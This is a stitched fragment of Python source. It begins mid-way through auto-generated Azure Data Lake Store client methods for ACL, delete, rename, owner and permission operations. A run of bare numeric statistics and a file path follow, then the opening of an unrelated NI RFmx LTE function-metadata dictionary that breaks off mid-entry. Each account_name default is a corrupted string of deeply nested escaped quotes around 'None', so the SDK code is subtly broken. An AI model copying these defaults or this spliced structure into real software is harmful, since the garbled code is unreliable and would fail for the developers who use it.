overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{modifyAclFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'modifyAclFilePath': self._serialize.url("modify_acl_file_path", modify_acl_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['aclspec'] = self._serialize.query("aclspec", aclspec, 'str') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def remove_acl_entries( self, remove_acl_file_path, aclspec, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="REMOVEACLENTRIES", custom_headers=None, raw=False, **operation_config): """ Removes existing Access Control List (ACL) entries for a file or folder. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param remove_acl_file_path: The Data Lake Store path (starting with '/') of the file or directory with the ACL being removed. :type remove_acl_file_path: str :param aclspec: The ACL spec included in ACL removal operations in the format '[default:]user|group|other' :type aclspec: str :param op: The constant value for the operation. :type op: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{removeAclFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'removeAclFilePath': self._serialize.url("remove_acl_file_path", remove_acl_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['aclspec'] = self._serialize.query("aclspec", aclspec, 'str') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def get_acl_status( self, acl_file_path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="GETACLSTATUS", custom_headers=None, raw=False, **operation_config): """ Gets Access Control List (ACL) entries for the specified file or directory. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param acl_file_path: The Data Lake Store path (starting with '/') of the file or directory for which to get the ACL. :type acl_file_path: str :param op: The constant value for the operation. :type op: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`AclStatusResult <azure.mgmt.datalake.store.filesystem.models.AclStatusResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{aclFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'aclFilePath': self._serialize.url("acl_file_path", acl_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('AclStatusResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def delete( self, file_path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="DELETE", recursive=None, custom_headers=None, raw=False, **operation_config): """ Deletes the requested file or directory, optionally recursively. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param file_path: The Data Lake Store path (starting with '/') of the file or directory to delete. :type file_path: str :param op: The constant value for the operation. :type op: str :param recursive: The optional switch indicating if the delete should be recursive :type recursive: bool :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`FileOperationResult <azure.mgmt.datalake.store.filesystem.models.FileOperationResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{filePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'filePath': self._serialize.url("file_path", file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if recursive is not None: query_parameters['recursive'] = self._serialize.query("recursive", recursive, 'bool') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('FileOperationResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def rename( self, rename_file_path, destination, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="RENAME", custom_headers=None, raw=False, **operation_config): """ Rename a file or directory. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param rename_file_path: The Data Lake Store path (starting with '/') of the file or directory to move/rename. :type rename_file_path: str :param destination: The path to move/rename the file or folder to :type destination: str :param op: The constant value for the operation. :type op: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`FileOperationResult <azure.mgmt.datalake.store.filesystem.models.FileOperationResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{renameFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'renameFilePath': self._serialize.url("rename_file_path", rename_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['destination'] = self._serialize.query("destination", destination, 'str') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('FileOperationResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def set_owner( self, set_owner_file_path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="SETOWNER", owner=None, group=None, custom_headers=None, raw=False, **operation_config): """ Sets the owner of a file or directory. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param set_owner_file_path: The Data Lake Store path (starting with '/') of the file or directory for which to set the owner. :type set_owner_file_path: str :param op: The constant value for the operation. :type op: str :param owner: The AAD Object ID of the user owner of the file or directory. If empty, the property will remain unchanged. :type owner: str :param group: The AAD Object ID of the group owner of the file or directory. If empty, the property will remain unchanged. :type group: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{setOwnerFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'setOwnerFilePath': self._serialize.url("set_owner_file_path", set_owner_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if owner is not None: query_parameters['owner'] = self._serialize.query("owner", owner, 'str') if group is not None: query_parameters['group'] = self._serialize.query("group", group, 'str') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def set_permission( self, set_permission_file_path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="SETPERMISSION", permission=None, custom_headers=None, raw=False, **operation_config): """ Sets the permission of the file or folder. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param set_permission_file_path: The Data Lake Store path (starting with '/') of the file or directory for which to set the permission. :type set_permission_file_path: str :param op: The constant value for the operation. :type op: str :param permission: A string representation of the permission (i.e 'rwx'). If empty, this property remains unchanged. :type permission: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{setPermissionFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'setPermissionFilePath': self._serialize.url("set_permission_file_path", set_permission_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if permission is not None: query_parameters['permission'] = self._serialize.query("permission", permission, 'str') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response
54.197388
558
0.614148
7,959
74,684
5.573439
0.054278
0.034491
0.023941
0.030839
0.85694
0.842512
0.829054
0.821727
0.807052
0.803918
0
0.002349
0.213325
74,684
1,377
559
54.236747
0.752672
0.032979
0
0.782972
0
0
0.203631
0.070786
0
0
0
0
0
0
null
null
0
0.005008
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
1857cdd8a0332a6d2b5d40e8876917a3eb76f1a1
295,986
py
Python
source/codegen/metadata/nirfmxlte/functions.py
tdunkle/grpc-device
2c784476327595fdeae06d6a3fc7aaf6daac597e
[ "MIT" ]
null
null
null
source/codegen/metadata/nirfmxlte/functions.py
tdunkle/grpc-device
2c784476327595fdeae06d6a3fc7aaf6daac597e
[ "MIT" ]
null
null
null
source/codegen/metadata/nirfmxlte/functions.py
tdunkle/grpc-device
2c784476327595fdeae06d6a3fc7aaf6daac597e
[ "MIT" ]
null
null
null
functions = { 'ACPCfgAveraging': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AcpAveragingEnabled', 'name': 'averagingEnabled', 'type': 'int32' }, { 'direction': 'in', 'name': 'averagingCount', 'type': 'int32' }, { 'direction': 'in', 'enum': 'AcpAveragingType', 'name': 'averagingType', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPCfgConfigurableNumberOfOffsetsEnabled': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AcpConfigurableNumberOfOffsetsEnabled', 'name': 'configurableNumberOfOffsetsEnabled', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPCfgMeasurementMethod': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AcpMeasurementMethod', 'name': 'measurementMethod', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPCfgNoiseCompensationEnabled': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AcpNoiseCompensationEnabled', 'name': 'noiseCompensationEnabled', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPCfgNumberOfEUTRAOffsets': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfEUTRAOffsets', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPCfgNumberOfGSMOffsets': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfGSMOffsets', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPCfgNumberOfUTRAOffsets': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfUTRAOffsets', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPCfgPowerUnits': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AcpPowerUnits', 'name': 'powerUnits', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPCfgRBWFilter': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AcpRbwAutoBandwidth', 'name': 'rbwAuto', 'type': 'int32' }, { 'direction': 'in', 'name': 'rbw', 'type': 'float64' }, { 'direction': 'in', 'enum': 'AcpRbwFilterType', 'name': 'rbwFilterType', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPCfgSweepTime': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AcpSweepTimeAuto', 'name': 'sweepTimeAuto', 'type': 'int32' }, { 'direction': 'in', 'name': 'sweepTimeInterval', 'type': 'float64' } ], 'returns': 'int32' }, 'ACPCfgUTRAAndEUTRAOffsets': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfUTRAOffsets', 'type': 'int32' }, { 'direction': 'in', 'name': 'numberOfEUTRAOffsets', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPFetchAbsolutePowersTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'in', 'name': 'traceIndex', 'type': 'int32' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'absolutePowersTrace', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPFetchComponentCarrierMeasurement': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absolutePower', 'type': 'float64' }, { 'direction': 'out', 'name': 'relativePower', 'type': 'float64' } ], 'returns': 'int32' }, 'ACPFetchComponentCarrierMeasurementArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absolutePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'relativePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPFetchOffsetMeasurement': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'lowerRelativePower', 'type': 'float64' }, { 'direction': 'out', 'name': 'upperRelativePower', 'type': 'float64' }, { 'direction': 'out', 'name': 'lowerAbsolutePower', 'type': 'float64' }, { 'direction': 'out', 'name': 'upperAbsolutePower', 'type': 'float64' } ], 'returns': 'int32' }, 'ACPFetchOffsetMeasurementArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'lowerRelativePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'upperRelativePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'lowerAbsolutePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'upperAbsolutePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPFetchRelativePowersTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'in', 'name': 'traceIndex', 'type': 'int32' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'relativePowersTrace', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPFetchSpectrum': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'spectrum', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ACPFetchSubblockMeasurement': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'subblockPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'integrationBandwidth', 'type': 'float64' }, { 'direction': 'out', 'name': 'frequency', 'type': 'float64' } ], 'returns': 'int32' }, 'ACPFetchTotalAggregatedPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'totalAggregatedPower', 'type': 'float64' } ], 'returns': 'int32' }, 'ACPValidateNoiseCalibrationData': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'out', 'enum': 'AcpNoiseCalibrationDataValid', 'name': 'noiseCalibrationDataValid', 'type': 'int32' } ], 'returns': 'int32' }, 'AbortMeasurements': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' } ], 'returns': 'int32' }, 'AnalyzeIQ1Waveform': { 'parameters': [ { 'direction': 'in', 